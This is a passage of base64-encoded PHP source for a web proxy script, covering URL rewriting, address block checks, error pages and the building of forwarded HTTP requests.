RfbGFiZWwoKSkNCgkJOw0KCX0NCg0KCWZ1bmN0aW9uIHN1cnJvZ2FmeSgpew0KCQkkbGFiZWw9JHRoaXMtPmdldF9sYWJlbCgpOw0KCQkkdGhpcy0+c2V0X2xhYmVsKCk7DQoJCSR1cmw9JHRoaXMtPmdldF91cmwoKTsNCgkJJHRoaXMtPnNldF9sYWJlbCgkbGFiZWwpOw0KDQoJCSMkdGhpcy0+ZGV0ZXJtaW5lX2xvY2tlZCgpOw0KCQlpZigkdGhpcy0+bG9ja2VkKSByZXR1cm4gJHVybDsNCgkJIyB8fCAkdGhpcy0+Z2V0X3Byb3RvKCkuJHRoaXMtPmdldF9maWVsZHJlcSgyLCR0aGlzLT5nZXRfdXNlcnBhc3MoKSkuJHRoaXMtPmdldF9zZXJ2ZXJuYW1lKCkuJHRoaXMtPmdldF9wYXRoKCkuJHRoaXMtPmdldF9maWxlKCk9PVRISVNfU0NSSVBUKSByZXR1cm4gJHVybDsNCg0KCQlpZihFTkNSWVBUX1VSTFMgJiYgISR0aGlzLT5sb2NrZWQpICR1cmw9cHJveGVuYygkdXJsKTsNCgkJIyR1cmw9VEhJU19TQ1JJUFQuJz89Jy4oIUVOQ1JZUFRfVVJMUz91cmxlbmNvZGUoJHVybCk6JHVybCkuKCFlbXB0eSgkbGFiZWwpPyIjJGxhYmVsIjpudWxsKTsgIyB1cmxlbmNvZGVkDQoJCSR1cmw9VEhJU19TQ1JJUFQuIj89eyR1cmx9Ii4oIWVtcHR5KCRsYWJlbCk/IiMkbGFiZWwiOm51bGwpOw0KCQlyZXR1cm4gJHVybDsNCgl9DQp9IA0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogVVJMIFBBUlNJTkcge3t7DQpmdW5jdGlvbiBzdXJyb2dhZnlfdXJsKCR1cmwsJHRvcHVybD1mYWxzZSwkYWRkcHJveHk9dHJ1ZSl7DQoJZ2xvYmFsICRjdXJyX3VybG9iajsNCgkvL2lmKHByZWdfbWF0Y2goJy9eKFsiXCddKS4qXDEkL2lzJywkdXJsKT4wKXsNCglpZigoJHVybHswfT09JyInICYmIHN1YnN0cigkdXJsLC0xKT09JyInKSB8fCAoJHVybHswfT09J1wnJyAmJiBzdWJzdHIoJHVybCwtMSk9PSdcJycpKXsNCgkJJHVybHF1b3RlPSR1cmx7MH07DQoJCSR1cmw9c3Vic3RyKCR1cmwsMSxzdHJsZW4oJHVybCktMik7DQoJfQ0KCWlmKCR0b3B1cmw9PT1mYWxzZSkgJHRvcHVybD0kY3Vycl91cmxvYmo7DQoJJHVybG9iaj1uZXcgYXVybCgkdXJsLCR0b3B1cmwpOw0KCSRuZXdfdXJsPSgkYWRkcHJveHk/JHVybG9iai0+c3Vycm9nYWZ5KCk6JHVybG9iai0+Z2V0X3VybCgpKTsNCglpZighZW1wdHkoJHVybHF1b3RlKSkgJG5ld191cmw9InskdXJscXVvdGV9eyRuZXdfdXJsfXskdXJscXVvdGV9IjsNCglyZXR1cm4gJG5ld191cmw7DQp9DQoNCmZ1bmN0aW9uIGZyYW1pZnlfdXJsKCR1cmwsJGZyYW1lX3R5cGU9ZmFsc2Upew0KCWlmKCgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FX1RPUCB8fCAhVVJMX0ZPUk0pICYmICgkZnJhbWVfdHlwZSE9PVBBR0VUWVBFX0ZSQU1FRF9QQUdFICYmICFQQUdFX0ZSQU1FRCkpIHJldHVybiAkdXJsOw0KCS8vaWYocHJlZ19tYXRjaCgnL14oWyJcJ10pLipcMSQvaXMnLCR1cmwpPjApew0KCWlmKCgkdXJsezB9PT0nIicgJiYgc3Vic3RyKCR1cmwsLTEpPT0nIicpIHx8ICgkdXJsezB9PT0nXCcnICYmIHN1YnN0cigkdXJsLC0xKT09J1wnJykpew0KCQkkdXJscXVvdGU9JHVybHswfTsNCgkJJHVybD1zdWJzdHIoJHVybCwxLHN0cmxlbigkdXJsKS0yKTsNCgl9DQoJaWYocHJlZ19tYXRjaChGUkFNRV9MT0NLX1JFR0VYUCwkdXJsKTw9MCl7DQoJCWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVfVE9QICYmIFVSTF9GT1JNKSAkcXVlcnk9JyY9JzsNCgkJZWxzZWlmKCRmcmFtZV90eXBlPT09UEFHRVRZUEVfRlJBTUVEX0NISUxEKSAkcXVlcnk9Jy4mPSc7DQoJCWVsc2VpZigkZnJhbWVfdHlwZT09PVBBR0VUWVBFX0ZSQU1FRF9QQUdFIHx8IFBBR0VfRlJBTUVEKSAkcXVlcnk9J18mPSc7DQoJCWVsc2UgJHF1ZXJ5PW51bGw7DQoJCSR1cmw9cHJlZ19yZXBsYWNlKCcvXihbXlw/XSopW1w/XT8nLlBBR0VUWVBFX01JTklSRUdFWFAuJyhbXiNdKj9bI10/Lio/KSQvJywiXFwxPz17JHF1ZXJ5fVxcMyIsJHVybCwxKTsNCgl9DQoJaWYoIWVtcHR5KCR1cmxxdW90ZSkpICR1cmw9InskdXJscXVvdGV9eyR1cmx9eyR1cmxxdW90ZX0iOw0KCXJldHVybiAkdXJsOw0KfQ0KDQpmdW5jdGlvbiBwcm94ZW5jKCR1cmwpew0KCWlmKCR1cmx7MH09PSd+JyB8fCBzdHJ0b2xvd2VyKHN1YnN0cigkdXJsLDAsMykpPT0nJTdlJykgcmV0dXJuICR1cmw7DQoJJHVybD11cmxlbmNvZGUoJHVybCk7DQoJJG5ld191cmw9bnVsbDsNCglmb3IoJGk9MDskaTxzdHJsZW4oJHVybCk7JGkrKyl7DQoJCSRjaGFyPW9yZCgkdXJseyRpfSk7DQoJCSRjaGFyKz1vcmQoc3Vic3RyKFNFU1NfUFJFRiwkaSVzdHJsZW4oU0VTU19QUkVGKSwxKSk7DQoJCXdoaWxlKCRjaGFyPjEyNikgJGNoYXItPTk0Ow0KCQkkbmV3X3VybC49Y2hyKCRjaGFyKTsNCgl9DQoJI3JldHVybiAnficuYmFzZTY0X2VuY29kZSgkbmV3X3VybCk7DQoJcmV0dXJuICd+Jy51cmxlbmNvZGUoYmFzZTY0X2VuY29kZSgkbmV3X3VybCkpOw0KfQ0KDQojIH19fQ0KDQojIFBST1hZIEZVTkNUSU9OUzogRVJST1JTICYgRVhJVElORyB7e3sNCg0KZnVuY3Rpb24gZmluaXNoX25vZXhpdCgpew0KCWdsb2JhbCAkZG5zX2NhY2hlX2FycmF5Ow0KCSMgc2F2ZSBETlMgQ2FjaGUgYmVmb3JlIGV4aXRpbmcNCgkkX1NFU1NJT05bJ0ROU19DQUNIRV9BUlJBWSddPSRkbnNfY2FjaGVfYXJyYXk7DQp9DQoNCmZ1bmN0aW9uIGZpbmlzaCgpew0KCWZpbmlzaF9ub2V4aXQoKTsNCglleGl0KCk7DQp9DQoNCmZ1bmN0aW9uIGhhdm9rKCRlcnJvcm5vLCRhcmcxPW51bGwsJGFyZzI9bnVsbCwkYXJnMz1udWxsKXsNCglnbG9iYWwgJGN1cnJfdXJsOw0KCSR1cmw9JGN1cnJfdXJsOw0KCXN3aXRjaCgkZXJyb3Jubyl7DQoJCWNhc2UgMToNCgkJCSRldD0nQmFkIElQIEFkZHJlc3MnOw0KCQkJJGVkPSJUaGUgSVAgYWRkcmVzcyBnaXZlbiAoeyRhcmcyfSkgaXMgYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLCBvciB0aGUgZG9tYWluIGdpdmVuICh7JGFyZzF9KSB3YXMgcmVzb2x2ZWQgdG8gYW4gaW1wb3NzaWJsZSBJUCBhZGRyZXNzLiI7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGV0PSdBZGRyZXNzIGlzIEJsb2NrZWQnOw0KCQkJJGVkPSJUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IHNlcnZpY2UgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBhZGRyZXNzLCBkb21haW4sIG9yIHN1Ym5ldC5cbjxiciAvPjxiciAvPlxuRG9tYWluOiB7JGFyZzF9XG48YnIgLz5cbkFkZHJlc3M6IHskYXJnMn0iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRldD0nQ291bGQgTm90IFJlc29sdmUgRG9tYWluJzsNCgkJCSRlZD0iVGhlIGRvbWFpbiBvZiB0aGUgVVJMIGdpdmVuICh7JGFyZzF9KSBjb3VsZCBub3QgYmUgcmVzb2x2ZWQgZHVlIHRvIEROUyBpc3N1ZXMgb3IgYW4gZXJyb3JuZW91cyBkb21haW4gbmFtZS4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCSRldD0nQmFkIEZpbHRlcnMnOw0KCQkJJGVkPSdUaGUgYWRtaW5pc3RyYXRvciBvZiB0aGlzIHByb3h5IGhhcyBpbmNvcnJlY3RseSBjb25maWd1cmVkIGhpcyBkb21haW4gZmlsdGVycywgb3IgYSBkb21haW4gZ2l2ZW4gY291bGQgbm90IGJlIHJlc29sdmVkLic7DQoJCQlicmVhazsNCgkJY2FzZSA1Og0KCQkJJGV0PSdEb21haW4gaXMgQmxvY2tlZCc7DQoJCQkkZWQ9J1RoZSBhZG1pbmlzdHJhdG9yIG9mIHRoaXMgcHJveHkgaGFzIGRlY2lkZWQgdG8gYmxvY2sgdGhpcyBkb21haW4uJzsNCgkJCWJyZWFrOw0KCQljYXNlIDY6DQoJCQkkZXQ9J0NvdWxkIE5vdCBDb25uZWN0IHRvIFNlcnZlcic7DQoJCQkkZWQ9IkFuIGVycm9yIGhhcyBvY2N1cnJlZCB3aGlsZSBhdHRlbXB0aW5nIHRvIGNvbm5lY3QgdG8gXCJ7JGFyZzF9XCIgb24gcG9ydCBcInskYXJnMn1cIi4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgNzoNCgkJCSRldD0nSW52YWxpZCBVUkwnOw0KCQkJJGVkPSdUaGUgVVJMIGJlbG93IHdhcyBkZXRlY3RlZCB0byBiZSBhbiBpbnZhbGlkIFVSTC4nOw0KCQkJJHVybD0kYXJnMTsNCgkJCWJyZWFrOw0KCX0NCgkkZWQuPSJcbjxiciAvPjxiciAvPlxuVVJMOiZuYnNwO3skdXJsfSI7DQo/Pg0KPGRpdiBzdHlsZT0iZm9udC1mYW1pbHk6IGJpdHN0cmVhbSB2ZXJhIHNhbnMsIHRyZWJ1Y2hldCBtcyI+PGRpdiBzdHlsZT0iYm9yZGVyOiAzcHggc29saWQgI0ZGRkZGRjsgcGFkZGluZzogMnB4Ij4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYm9yZGVyOiAxcHggc29saWQgIzYwMjAyMDsgcGFkZGluZzogMXB4OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGIj4NCgk8ZGl2IHN0eWxlPSJmbG9hdDogbGVmdDsgYmFja2dyb3VuZC1jb2xvcjogIzgwMTAxMDsgY29sb3I6ICNGRkZGRkY7IGZvbnQtd2VpZ2h0OiBib2xkOyBmb250LXNpemU6IDU0cHg7IHBhZGRpbmc6IDJweDsgcGFkZGluZy1sZWZ0OiAxMnB4OyBwYWRkaW5nLXJpZ2h0OiAxMnB4Ij4hPC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBzdHlsZT0iZmxvYXQ6IGxlZnQ7IHdpZHRoOiA1MDBweDsgcGFkZGluZy1sZWZ0OiAyMHB4Ij4NCgkJPGRpdiBzdHlsZT0iYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICMwMDAwMDA7IGZvbnQtc2l6ZTogMTJwdDsgdGV4dC1hbGlnbjogY2VudGVyOyBmb250LXdlaWdodDogYm9sZDsgcGFkZGluZzogMnB4Ij5FcnJvcjogPD9waHAgZWNobygkZXQpOyA/PjwvZGl2Pg0KCQk8ZGl2IHN0eWxlPSJwYWRkaW5nOiA2cHgiPjw/cGhwIGVjaG8oJGVkKTsgPz48L2Rpdj4NCgk8L2Rpdj4NCjwvZGl2PjwvZGl2Pg0KPD9waHAgZmluaXNoKCk7IH0NCg0KIyB9fX0NCg0KIyBQUk9YWSBGVU5DVElPTlM6IFRDUC9JUCB7e3sNCg0KZnVuY3Rpb24gaXBiaXR0ZXIoJGlwYWRkcil7DQoJJGlwc3BsaXQ9ZXhwbG9kZSgnLicsJGlwYWRkcik7DQoJZm9yKCRpPTA7JGk8NDskaSsrKXsNCgkJJGlwc3BsaXRbJGldPWRlY2JpbigkaXBzcGxpdFskaV0pOw0KCQkkaXBzcGxpdFskaV09c3RyX3JlcGVhdCgnMCcsOC1zdHJsZW4oJGlwc3BsaXRbJGldKSkuJGlwc3BsaXRbJGldOw0KCX0NCglyZXR1cm4gaW1wbG9kZShudWxsLCRpcHNwbGl0KTsNCn0NCg0KZnVuY3Rpb24gaXBjb21wYXJlKCRpcHJhbmdlLCRpcCl7DQoJJGlwcmFycj1zcGxpdCgnLycsJGlwcmFuZ2UpOw0KCSRpcGFkZHI9JGlwcmFyclswXTsNCgkkbWFzaz0kaXByYXJyWzFdOw0KCSRtYXNrYml0cz1zdHJfcmVwZWF0KCcxJywkbWFzaykuc3RyX3JlcGVhdCgnMCcsJG1hc2spOw0KCSRpcGJpdHM9aXBiaXR0ZXIoJGlwYWRkcik7DQoJJGlwYml0czI9aXBiaXR0ZXIoJGlwKTsNCglyZXR1cm4gKCgkaXBiaXRzICYgJG1hc2tiaXRzKT09KCRpcGJpdHMyICYgJG1hc2tiaXRzKSk7DQp9DQoNCmZ1bmN0aW9uIGlwX2NoZWNrKCRpcCwkbWFzaz1mYWxzZSl7DQoJJGlwc2VnPScoPzpbMDFdP1swLTldezEsMn18Mig/OjVbMC01XXxbMC00XVswLTldKSknOw0KCXJldHVybiBwcmVnX21hdGNoKCIvXig/OiRpcHNlZ1wuKXswLDN9JGlwc2VnIi4oJG1hc2s/J1wvWzAtOV17MSwyfSc6bnVsbCkuJyQvaScsJGlwKTsgIyoNCn0NCg0KZnVuY3Rpb24gZ2V0aG9zdGJ5bmFtZV9jYWNoZWl0KCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCgkkaXBhZGRyPWdldGhvc3RieW5hbWUoJGFkZHJlc3MpOw0KCSRkbnNfY2FjaGVfYXJyYXlbJGFkZHJlc3NdPWFycmF5KCd0aW1lJz0+dGltZSgpLCAnaXBhZGRyJz0+JGlwYWRkcik7DQoJcmV0dXJuICRpcGFkZHI7DQp9DQoNCmZ1bmN0aW9uIGdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKXsNCglnbG9iYWwgJGRuc19jYWNoZV9hcnJheTsNCglpZihpc3NldCgkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXSkpIHJldHVybiAkZG5zX2NhY2hlX2FycmF5WyRhZGRyZXNzXVsnaXBhZGRyJ107DQoJcmV0dXJuIGdldGhvc3RieW5hbWVfY2FjaGVpdCgkYWRkcmVzcyk7DQp9DQoNCmZ1bmN0aW9uIGdldF9jaGVjaygkYWRkcmVzcyl7DQoJZ2xvYmFsICRibG9ja2VkX2FkZHJlc3NlczsNCglpZihzdHJyY2hyKCRhZGRyZXNzLCcvJykpICRhZGRyZXNzPXN1YnN0cihzdHJyY2hyKCRhZGRyZXNzLCcvJyksMSk7DQoJJGlwYz1pcF9jaGVjaygkYWRkcmVzcyk7DQoJJGFkZHJlc3NpcD0oaXBfY2hlY2soJGFkZHJlc3MpPyRhZGRyZXNzOmdldGhvc3RieW5hbWVfY2FjaGVkKCRhZGRyZXNzKSk7DQoJaWYoIWlwX2NoZWNrKCRhZGRyZXNzaXApKSBoYXZvaygxLCRhZGRyZXNzLCRhZGRyZXNzaXApOw0KCWZvcmVhY2goJGJsb2NrZWRfYWRkcmVzc2VzIGFzICRiYWRkKXsNCgkJaWYoISRpcGMpIGlmKHN0cmxlbigkYmFkZCk8PXN0cmxlbigkYWRkcmVzcykgJiYgc3Vic3RyKCRhZGRyZXNzLHN0cmxlbigkYWRkcmVzcyktc3RybGVuKCRiYWRkKSxzdHJsZW4oJGJhZGQpKT09JGJhZGQpIGhhdm9rKDUpOw0KCQlpZigkYmFkZD09JGFkZHJlc3NpcCkgaGF2b2soMiwkYWRkcmVzcywkYWRkcmVzc2lwKTsNCgkJZWxzZWlmKGlwX2NoZWNrKCRiYWRkLHRydWUpKXsgaWYoaXBjb21wYXJlKCRiYWRkLCRhZGRyZXNzaXApKSBoYXZvaygyLCRhZGRyZXNzLCRhZGRyZXNzaXApOyB9DQoJCWVsc2V7DQoJCQkkYmFkZGlwPWdldGhvc3RieW5hbWVfY2FjaGVkKCRiYWRkKTsNCgkJCWlmKGVtcHR5KCRiYWRkaXApKSBoYXZvayg0KTsNCgkJCWlmKCRiYWRkaXA9PSRhZGRyZXNzaXApIGhhdm9rKDIsJGFkZHJlc3MsJGFkZHJlc3NpcCk7DQoJCX0NCgl9DQoJcmV0dXJuICRhZGRyZXNzaXA7DQp9DQoNCiMgfX19DQoNCiMgUFJPWFkgRlVOQ1RJT05TOiBIVFRQIHt7ew0KDQpmdW5jdGlvbiBodHRwY2xlYW4oJHN0cil7IHJldHVybiBzdHJfcmVwbGFjZSgnICcsJysnLHByZWdfcmVwbGFjZSgnLyhbXiI6XC1fXC4wLTlhLXogXSkvaWUnLCdcJyVcJy4oc3RybGVuKGRlY2hleChvcmQoXCdcMVwnKSkpPT0xP1wnMFwnOm51bGwpLnN0cnRvdXBwZXIoZGVjaGV4KG9yZChcJ1wxXCcpKSknLCRzdHIpKTsgfQ0KDQpmdW5jdGlvbiBnZXRwYWdlKCR1cmwpew0KCWdsb2JhbCAkaGVhZGVycywkb3V0LCRwb3N0X3ZhcnMsJHByb3h5X3ZhcmlhYmxlcywkcmVmZXJlcjsNCg0KCSR1cmxvYmo9bmV3IGF1cmwoJHVybCk7DQoJJHF1ZXJ5PSR1cmxvYmotPmdldF9xdWVyeSgpOw0KCSRyZXF1cmw9JHVybG9iai0+Z2V0X3BhdGgoKS4kdXJsb2JqLT5nZXRfZmlsZSgpLighZW1wdHkoJHF1ZXJ5KT8iP3skcXVlcnl9IjpudWxsKTsNCg0KCSRodHRwX2F1dGg9bnVsbDsNCglpZihleHRlbnNpb25fbG9hZGVkKCdhcGFjaGUnKSl7DQoJCSRmYWlsPWZhbHNlOw0KCQkkY2hlYWRlcnM9Z2V0YWxsaGVhZGVycygpOw0KCQkkaHR0cF9hdXRoPSRyZXFhcnJheVsnQXV0aG9yaXphdGlvbiddOw0KCX0NCgllbHNlICRmYWlsPXRydWU7DQoNCgkkYXV0aG9yaXphdGlvbj0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQVVUSE9SSVpBVElPTiddOiRjaGVhZGVyc1snQXV0aG9yaXphdGlvbiddKTsNCgkkY2FjaGVfY29udHJvbD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfQ0FDSEVfQ09OVFJPTCddOiRjaGVhZGVyc1snQ2FjaGUtQ29udHJvbCddKTsNCgkkaWZfbW9kaWZpZWQ9KCRmYWlsPyRfU0VSVkVSWydIVFRQX0lGX01PRElGSUVEX1NJTkNFJ106JGNoZWFkZXJzWydJZi1Nb2RpZmllZC1TaW5jZSddKTsNCgkkaWZfbm9uZV9tYXRjaD0oJGZhaWw/JF9TRVJWRVJbJ0hUVFBfSUZfTk9ORV9NQVRDSCddOiRjaGVhZGVyc1snSWYtTm9uZS1NYXRjaCddKTsNCg0KCWlmKCRmYWlsKXsNCgkJaWYoIWVtcHR5KCRhdXRob3JpemF0aW9uKSkgJGh0dHBfYXV0aD0kYXV0aG9yaXphdGlvbjsNCgkJZWxzZWlmKCFlbXB0eSgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKSAmJiAhZW1wdHkoJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pKQ0KCQkJJGh0dHBfYXV0aD0nQmFzaWMgJy5iYXNlNjRfZW5jb2RlKCJ7JF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXX06eyRfU0VSVkVSWydQSFBfQVVUSF9QVyddfSIpOw0KCQllbHNlaWYoIWVtcHR5KCRfU0VSVkVSWydQSFBfQVVUSF9ESUdFU1QnXSkpICRodHRwX2F1dGg9IkRpZ2VzdCB7JF9TRVJWRVJbJ1BIUF9BVVRIX0RJR0VTVCddfSI7DQoJfQ0KDQoJaWYoUElQIT1udWxsICYmIFBQT1JUIT1udWxsKXsNCgkJJHNlcnZlcm5hbWU9UElQOw0KCQkkaXBhZGRyZXNzPWdldF9jaGVjayhQSVApOw0KCQkkcG9ydHZhbD1QUE9SVDsNCgkJJHJlcXVybD0kdXJsb2JqLT5nZXRfdXJsKGZhbHNlKTsNCgl9DQoJZWxzZXsNCgkJJHNlcnZlcm5hbWU9JHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKTsNCgkJJGlwYWRkcmVzcz0oJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdzc2wnIHx8ICR1cmxvYmotPmdldF9wcm90bygpPT0naHR0cHMnPydzc2w6Ly8nOm51bGwpLmdldF9jaGVjaygkc2VydmVybmFtZSk7DQoJCSRwb3J0dmFsPSR1cmxvYmotPmdldF9wb3J0dmFsKCk7DQoJfQ0KDQoJJG91dD0ieyRfU0VSVkVSWydSRVFVRVNUX01FVEhPRCddfSAiLnN0cl9yZXBsYWNlKCcgJywnJTIwJywkcmVxdXJsKS4iIEhUVFAvMS4xXHJcbkhvc3Q6ICIuJHVybG9iai0+Z2V0X3NlcnZlcm5hbWUoKS4oKCRwb3J0dmFsIT04MCAmJiAoJHVybG9iai0+Z2V0X3Byb3RvKCk9PSdodHRwcyc/JHBvcnR2YWwhPTQ0Mzp0cnVlKSk/IjokcG9ydHZhbCI6bnVsbCkuIlxyXG4iOw0KDQoJZ2xvYmFsICR1c2VyYWdlbnQ7DQoJJHVzZXJhZ2VudD1udWxsOw0KCWlmKCRfQ09PS0lFW0NPT0tfUFJFRi4nX3VzZXJhZ2VudCddIT0nLTEnKXsNCgkJJHVzZXJhZ2VudD0kX0NPT0tJRVtDT09LX1BSRUYuJ191c2VyYWdlbnQnXTsNCgkJaWYoZW1wdHkoJHVzZXJhZ2VudCkpICR1c2VyYWdlbnQ9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KCQkkdXNlcmFnZW50X2Nvb2s9KCR1c2VyYWdlbnQ9PTE/JF9DT09LSUVbQ09PS19QUkVGLidfdXNlcmFnZW50dGV4dCddOiR1c2VyYWdlbnQpOw0KCQlpZighZW1wdHkoJHVzZXJhZ2VudF9jb29rKSkgJG91dC49IlVzZXItQWdlbnQ6ICR1c2VyYWdlbnRfY29va1xyXG4iOw0KCX0NCglpZighZW1wdHkoJGh0dHBfYXV0aCkpICRvdXQuPSJBdXRob3JpemF0aW9uOiAkaHR0cF9hdXRoXHJcbiI7DQoNCglpZihlbXB0eSgkX0NPT0tJRVtDT09LX1BSRUYuJ19yZW1vdmVfcmVmZXJlciddKSAmJiAhZW1wdHkoJHJlZmVyZXIpKSAkb3V0Lj0nUmVmZXJlcjogJy5zdHJfcmVwbGFjZSgnICcsJysnLCRyZWZlcmVyKS4iXHJcbiI7DQoJaWYoJF9TRVJWRVJbJ1JFUVVFU1RfTUVUSE9EJ109PSdQT1NUJykgJG91dC49J0NvbnRlbnQtTGVuZ3RoOiAnLnN0cmxlbigkcG9zdF92YXJzKS4iXHJcbkNvbnRlbnQtVHlwZTogYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkXHJcbiI7DQoNCgkkY29va19wcmVmZG9tYWluPXByZWdfcmVwbGFjZSgnL153d3dcLi9pJyxudWxsLCR1cmxvYmotPmdldF9zZXJ2ZXJuYW1lKCkpOyAjKg0KCSRjb29rX3ByZWZpeD1zdHJfcmVwbGFjZSgnLicsJ18nLCRjb29rX3ByZWZkb21haW4pLkNPT0tJRV9TRVBBUkFUT1I7DQoJaWYoY291bnQoJF9DT09LSUUpPjAgJiYgZW1wdHkoJF9DT09LSUVbQ09PS19QUkVGLidfcmVtb3ZlX2Nvb2tpZXMnXSkpew0KCQkkYWRkdG9vdXQ9bnVsbDsNCgkJcmVzZXQoJF9DT09LSUUpOw0KCQl3aGlsZShsaXN0KCRrZXksJHZhbCk9ZWFjaCgkX0NPT0tJRSkpew0KCQkJaWYoRU5DUllQVF9DT09LUyl7DQoJCQkJJGtleT1wcm94ZGVjKCRrZXkpOw0KCQkJCSR2YWw9cHJveGRlYygkdmFsKTsgI3VybGRlY29kZSgkdmFsKSk7DQoJCQl9DQoJCQlpZihzdHJfcmVwbGFjZShDT09LSUVfU0VQQVJBVE9SLG51bGwsJGtleSk9PSRrZXkpIGNvbnRpbnVlOw0KCQkJIyRjb29rX2RvbWFpbj1wcmVnX3JlcGxhY2UoJy9eKC4qJy5DT09LSUVfU0VQQVJBVE9SLicpLiokLycsJ1wxJywka2V5KTsgIyoqDQoJCQkkY29va19kb21haW49c3Vic3RyKCRrZXksMCxzdHJwb3MoJGtleSxDT09LSUVfU0VQQVJBVE9SKSkuQ09PS0lFX1NFUEFSQVRPUjsNCgkJCWlmKHN1YnN0cigkY29va19wcmVmaXgsc3RybGVuKCRjb29rX3ByZWZpeCktc3RybGVuKCRjb29rX2RvbWFpbiksc3RybGVuKCRjb29rX2RvbWFpbikpIT0kY29va19kb21haW4pIGNvbnRpbnVlOw0KCQkJJGtleT1zdWJzdHIoJGtleSxzdHJsZW4oJGNvb2tfZG9tYWluKSxzdHJsZW4oJGtleSktc3RybGVuKCRjb29rX2RvbWFpbikpOw0KCQkJaWYoIWluX2FycmF5KCRrZXksJHByb3h5X3ZhcmlhYmxlcykpICRhZGR0b291dC49IiAka2V5PSR2YWw7IjsNCgkJfQ0KCQlpZighZW1wdHkoJGFkZHRvb3V0KSl7DQoJCQkkYWRkdG9vdXQuPSJcclxuIjsNCgkJCSRvdXQuPSJDb29raWU6eyRhZGR0b291dH0iOw0KCQl9DQoJfQ0KDQoJJG91dC49IkFjY2VwdDogKi8qO3E9MC4xXHJcbiIuDQoJICAgICAgKEdaSVBfUFJPWFlfU0VSVkVSPyJBY2NlcHQtRW5jb2Rpbmc6IGd6aXBcclxuIjpudWxsKS4NCgkgICAgICAvLyJBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuMSwqO3E9MC4xXHJcbiIuDQoJICAgICAgLyovDQoJICAgICAgIktlZXAtQWxpdmU6IDMwMFxyXG4iLg0KCSAgICAgICJDb25uZWN0aW9uOiBrZWVwLWFsaXZlXHJcbiIuICAgICAgICAgICAgICAgICAgICAgICAgICAvKi8NCgkgICAgICAiQ29ubmVjdGlvbjogY2xvc2VcclxuIi4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLy8qLw0KCSAgICAgICgkY2FjaGVfY29udHJvbCE9bnVsbD8iQ2FjaGUtQ29udHJvbDogJGNhY2hlX2NvbnRyb2xcclxuIjpudWxsKS4NCgkgICAgICAoJGlmX21vZGlmaWVkIT1udWxsPyJJZi1Nb2RpZmllZC1TaW5jZTogJGlmX21vZGlmaWVkXHJcbiI6bnVsbCkuDQoJICAgICAgKCRpZl9ub25lX21hdGNoIT1udWxsPyJJZi1Ob25lLU1hdGNoOiAkaWZfbm9uZV9tYXRjaFxyXG4iOm51bGwpLg0KCSAgICAgICJcclxueyRwb3N0X3ZhcnN9Ig0KCTsNCg0KCS8vIFRoaXMgcGFydCBpZ25vcmVzIGFueSAiU1NMOiBmYXRhbCBwcm90b2NvbCBlcnJvciIgZXJyb3JzLCBhbmQgbWFrZXMgc3VyZSBvdGhlciBlcnJvcnMgYXJlIHN0aWxsIHRyaWdnZXJlZCBjb3JyZWN0bHkNCglmdW5jdGlvbiBlcnJvckhhbmRsZSgkZXJybm8sJGVycm1zZyl7DQoJCWlmKCRlcnJubzw9RV9QQVJTRSAmJiAoJGVycm5vIT1FX1dBUk5JTkcgfHwgc3Vic3RyKCRlcnJtc2csLTI1KSE9J1NTTDogZmF0YWwgcHJvdG9jb2wgZXJyb3InKSl7DQoJCQlyZXN0b3JlX2Vycm9yX2hhbmRsZXIoKTsNCgkJCXRyaWdnZXJfZXJyb3IoJGVycm1zZywkZXJybm88PDgpOw0KCQkJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoJCX0NCgl9DQoJc2V0X2Vycm9yX2hhbmRsZXIoJ2Vycm9ySGFuZGxlJyk7DQoNCgkkZnA9QGZzb2Nrb3BlbigkaXBhZGRyZXNzLCRwb3J0dmFsLCRlcnJubywkZXJydmFsLDUpIG9yIGhhdm9rKDYsJHNlcnZlcm5hbWUsJHBvcnR2YWwpOw0KCXN0cmVhbV9zZXRfdGltZW91dCgkZnAsNSk7DQoJIyBmb3IgcGVyc2lzdGVudCBjb25uZWN0aW9ucywgdGhpcyBtYXkgYmUgbmVjZXNzYXJ5DQoJLyoNCgkkdWI9c3RyZWFtX2dldF9tZXRhX2RhdGEoJGZwKTsNCgkkdWI9JHViWyd1bnJlYWRfYnl0ZXMnXTsNCglpZigkdWI+MCkgZnJlYWQoJGZwLCR1Yik7DQoJKi8NCglmd3JpdGUoJGZwLCRvdXQpOw0KDQoJJHJlc3BvbnNlPScxMDAnOw0KCXdoaWxlKCRyZXNwb25zZT09JzEwMCcpew0KCQkkcmVzcG9uc2VsaW5lPWZnZXRzKCRmcCw4MTkyKTsNCgkJJHJlc3BvbnNlPXN1YnN0cigkcmVzcG9uc2VsaW5lLDksMyk7DQoNCgkJJGhlYWRlcnM9YXJyYXkoKTsNCgkJd2hpbGUoJGN1cmxpbmUhPSJcclxuIiAmJiAkY3VybGluZT1mZ2V0cygkZnAsODE5Mikpew0KCQkJJGhhcn